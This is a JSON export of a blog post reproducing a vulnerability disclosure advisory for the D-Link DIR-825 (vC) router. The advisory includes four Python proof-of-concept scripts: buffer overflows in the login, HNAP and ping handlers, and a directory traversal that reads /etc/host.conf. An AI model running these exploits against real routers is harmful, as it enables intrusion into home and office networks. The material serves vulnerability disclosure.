{"id":22,"date":"2016-07-03T19:18:40","date_gmt":"2016-07-03T19:18:40","guid":{"rendered":"http:\/\/54.152.215.164\/?p=22"},"modified":"2016-07-03T19:18:40","modified_gmt":"2016-07-03T19:18:40","slug":"d-link-dir-825-vc-multiple-vulnerabilities","status":"publish","type":"post","link":"https:\/\/www.samuelhuntley.com\/?p=22","title":{"rendered":"D-Link DIR-825 (vC) &#8211; Multiple Vulnerabilities"},"content":{"rendered":"<pre>## Advisory Information\r\n\r\nTitle: DIR-825 (vC) Buffer overflows in authentication,HNAP and ping functionalities. Also a directory traversal \r\n\r\nissue exists which can be exploited\r\nVendors contacted: William Brown &lt;william.brown@dlink.com&gt;, Patrick Cline patrick.cline@dlink.com(Dlink)\r\nCVE: None\r\n\r\nNote: All these security issues have been discussed with the vendor and vendor indicated that they have fixed \r\n\r\nissues as per the email communication. The vendor had also released the information on their security advisory \r\n\r\npages http:\/\/securityadvisories.dlink.com\/security\/publication.aspx?name=SAP10060, \r\nhttp:\/\/securityadvisories.dlink.com\/security\/publication.aspx?name=SAP10061\r\n\r\nHowever, the vendor has taken now the security advisory pages down and hence the information needs to be publicly \r\n\r\naccessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing \r\n\r\nthis finding is not responsible for anyone using this information for malicious purposes. \r\n\r\n## Product Description\r\n\r\nDIR-825 (vC) -- Wireless AC750 Dual Band Gigabit Cloud Router. Mainly used by home and small offices.\r\n\r\n## Vulnerabilities Summary\r\n\r\nHave come across 4 security issues in DIR-825 firmware which allows an attacker to exploit buffer overflows in \r\n\r\nauthentication, HNAP and Ping functionalities. first 2 of the buffer overflows in auth and HNAP  can be exploited \r\n\r\nby an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack \r\n\r\ndirectly or using XSRF if not exposed. The ping functionality based buffer overflow and directory traversal would \r\n\r\nrequire an attacker to be on network and use XSRF to exploit buffer overflow whereas would require some sort of \r\n\r\nauthentication as low privileged user atleast to exploit directory traversal.\r\n\r\n## Details\r\n\r\nBuffer overflow in auth \r\n-----------------------------------------------------------------------\r\nimport socket\r\nimport struct\r\n\r\n'''\r\n287 + XXXX in query_string value, right now only working with Exit address as sleep address has bad chars which \r\n\r\ndisallows from using regular shellcode directly\r\n'''\r\n\r\nbuf = \"GET \/dws\/api\/Login?test=\"\r\nbuf+=\"B\"*251\r\nbuf+=\"CCCC\" #s0\r\nbuf+=\"FFFF\" #s1\r\nbuf+=\"FFFF\" #s2\r\nbuf+=\"FFFF\" #s3\r\nbuf+=\"XXXX\" #s4\r\nbuf+=\"HHHH\" #s5\r\nbuf+=\"IIII\" #s6\r\nbuf+=\"JJJJ\" #s7\r\nbuf+=\"LLLL\"\r\nbuf+=\"\\x2a\\xbc\\x8c\\xa0\" # retn address\r\nbuf+=\"C\"*24 #\r\nbuf+=\"sh;;\" \r\nbuf+=\"K\"*20\r\nbuf+=\"\\x2a\\xc0\\xd2\\xa0\" #s1\r\nbuf+=\"\\x2a\\xc0\\xd2\\xa0\" #s1\r\nbuf\r\n\r\n+=\"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\n\r\nCCCCCCCCCCCCCCCCC\"\r\nbuf+=\"&amp;password=A HTTP\/1.1\\r\\nHOST: 10.0.0.90\\r\\nUser-Agent: test\\r\\nAccept:text\/html,application\/xhtml\r\n\r\n+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\\r\\nConnection:keep-alive\\r\\n\\r\\n\"\r\n \r\nprint \"[+] sending buffer size\", len(buf)\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((\"10.0.0.90\", 80))\r\ns.send(buf)\r\nsoc=s.recv(2048)\r\nprint soc\r\n----------------------------------------------------------------------\r\nBuffer overflow in HNAP\r\n-----------------------------------------------------------------------\r\nimport socket\r\nimport struct\r\n\r\n\r\n'''\r\n4138 + XXXX in SoapAction value, right now only working with Exit address as sleep address has bad chars which \r\n\r\ndisallows from using regular shellcode directly\r\n'''\r\n\r\nbuf = \"POST \/HNAP1\/ HTTP\/1.1\\r\\n\"\r\nbuf+= \"Host: 10.0.0.90\\r\\n\"\r\nbuf+=\"SOAPACTION:http:\/\/purenetworks.com\/HNAP1\/GetDeviceSettings\/\"+\"A\"*4138+\"\\x2a\\xbc\\x8c\\xa0\"+\"D\"*834+\"\\r\\n\"\r\nbuf+=\"Proxy-Connection: keep-alive\\r\\n\"\r\nbuf+=\"Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\\r\\n\"\r\nbuf+\"Cache-Control: max-age=0\\r\\n\"\r\nbuf+=\"Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\\r\\n\"\r\nbuf+=\"User-Agent: Mozilla\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/36.0.1985.143 \r\n\r\nSafari\/537.36\\r\\n\"\r\nbuf+=\"Accept-Encoding: gzip,deflate,sdch\\r\\n\"\r\nbuf+=\"Accept-Language: en-US,en;q=0.8\\r\\n\"\r\nbuf+=\"Cookie: uid:1111;\\r\\n\"\r\nbuf+=\"Content-Length: 13\\r\\n\\r\\ntest=test\\r\\n\\r\\n\"\r\n \r\nprint \"[+] sending buffer size\", len(buf)\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((\"10.0.0.90\", 80))\r\ns.send(buf)\r\nsoc=s.recv(2048)\r\nprint soc\r\n----------------------------------------------------------------------\r\n\r\nDirectory traversal \r\n----------------------------------------------------------------------\r\nimport socket\r\nimport struct\r\n\r\n'''\r\nUseful to do directory traversal attack which is possible in html_response_page variable below which prints the \r\n\r\nconf file, but theoretically any file, most likely only after login accessible\r\n'''\r\npayload=\"html_response_page=..\/etc\/host.conf&amp;action=do_graph_auth&amp;login_name=test&amp;login_pass=test1&amp;login_n=test2&amp;l\r\n\r\nog_pass=test3&amp;graph_code=63778&amp;session_id=test5&amp;test=test\"\r\nbuf = \"POST \/apply.cgi HTTP\/1.1\\r\\n\"\r\nbuf+= \"Host: 10.0.0.90\\r\\n\"\r\nbuf+=\"Proxy-Connection: keep-alive\\r\\n\"\r\nbuf+=\"Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\\r\\n\"\r\nbuf+\"Cache-Control: max-age=0\\r\\n\"\r\nbuf+=\"Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\\r\\n\"\r\nbuf+=\"User-Agent: Mozilla\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/36.0.1985.143 \r\n\r\nSafari\/537.36\\r\\n\"\r\nbuf+=\"Accept-Encoding: gzip,deflate,sdch\\r\\n\"\r\nbuf+=\"Accept-Language: en-US,en;q=0.8\\r\\n\"\r\nbuf+=\"Cookie: session_id=test5;\\r\\n\"\r\nbuf+=\"Content-Length: \"+str(len(payload))+\"\\r\\n\\r\\n\"\r\nbuf+=payload+\"\\r\\n\\r\\n\"\r\n \r\nprint \"[+] sending buffer size\", len(buf)\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((\"10.0.0.90\", 80))\r\ns.send(buf)\r\nsoc=s.recv(2048)\r\nprint soc\r\n----------------------------------------------------------------------\r\n\r\n\r\nBuffer overflow in ping \r\n----------------------------------------------------------------------\r\nimport socket\r\nimport struct\r\n\r\n'''\r\n282 + XXXX in ping_ipaddr value, right now only working with Exit address as sleep address has bad chars which \r\n\r\ndisallows from using regular shellcode directly\r\n'''\r\npayload=\"html_response_page=tools_vct.asp&amp;action=ping_test&amp;html_response_return_page=tools_vct.asp&amp;ping=ping&amp;ping_\r\n\r\nipaddr=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\n\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\n\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\"+\"\\x2a\\xbc\\x8c\\xa0\"+\"CCXXXXDDDDEEEE&amp;test=test\"\r\nbuf = \"POST \/ping_response.cgi HTTP\/1.1\\r\\n\"\r\nbuf+= \"Host: 10.0.0.90\\r\\n\"\r\nbuf+=\"Proxy-Connection: keep-alive\\r\\n\"\r\nbuf+=\"Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\\r\\n\"\r\nbuf+\"Cache-Control: max-age=0\\r\\n\"\r\nbuf+=\"Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\\r\\n\"\r\nbuf+=\"User-Agent: Mozilla\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/36.0.1985.143 \r\n\r\nSafari\/537.36\\r\\n\"\r\nbuf+=\"Accept-Encoding: gzip,deflate,sdch\\r\\n\"\r\nbuf+=\"Accept-Language: en-US,en;q=0.8\\r\\n\"\r\nbuf+=\"Cookie: session_id=test5;\\r\\n\"\r\nbuf+=\"Content-Length: \"+str(len(payload))+\"\\r\\n\\r\\n\"\r\nbuf+=payload+\"\\r\\n\\r\\n\"\r\n \r\nprint \"[+] sending buffer size\", len(buf)\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((\"10.0.0.90\", 80))\r\ns.send(buf)\r\nsoc=s.recv(2048)\r\nprint soc\r\n \r\n---------------------------------------------------------------------\r\n\r\n## Report Timeline\r\n\r\n* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.\r\n* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor\r\n* Nov 13, 2015: A public advisory is sent to security mailing lists.\r\n\r\n## Credit\r\n\r\nThis vulnerability was found by Samuel Huntley<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>## Advisory Information Title: DIR-825 (vC) Buffer overflows in authentication,HNAP and ping functionalities. Also a directory traversal issue exists which can be exploited Vendors contacted: William Brown &lt;william.brown@dlink.com&gt;, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the &hellip; <a href=\"https:\/\/www.samuelhuntley.com\/?p=22\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">D-Link DIR-825 (vC) &#8211; Multiple Vulnerabilities<\/span> <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[2],"_links":{"self":[{"href":"https:\/\/www.samuelhuntley.com\/index.php?rest_route=\/wp\/v2\/posts\/22"}],"collection":[{"href":"https:\/\/www.samuelhuntley.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.samuelhuntley.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.samuelhuntley.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.samuelhuntley.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=22"}],"version-history":[{"count":1,"href":"https:\/\/www.samuelhuntley.com\/index.php?rest_route=\/wp\/v2\/posts\/22\/revisions"}],"predecessor-version":[{"id":23,"href":"https:\/\/www.samuelhuntley.com\/index.php?rest_route=\/wp\/v2\/posts\/22\/revisions\/23"}],"wp:attachment":[{"href":"https:\/\/www.samuelhuntley.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=22"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.samuelhuntley.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=22"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.samuelhuntley.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=22"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}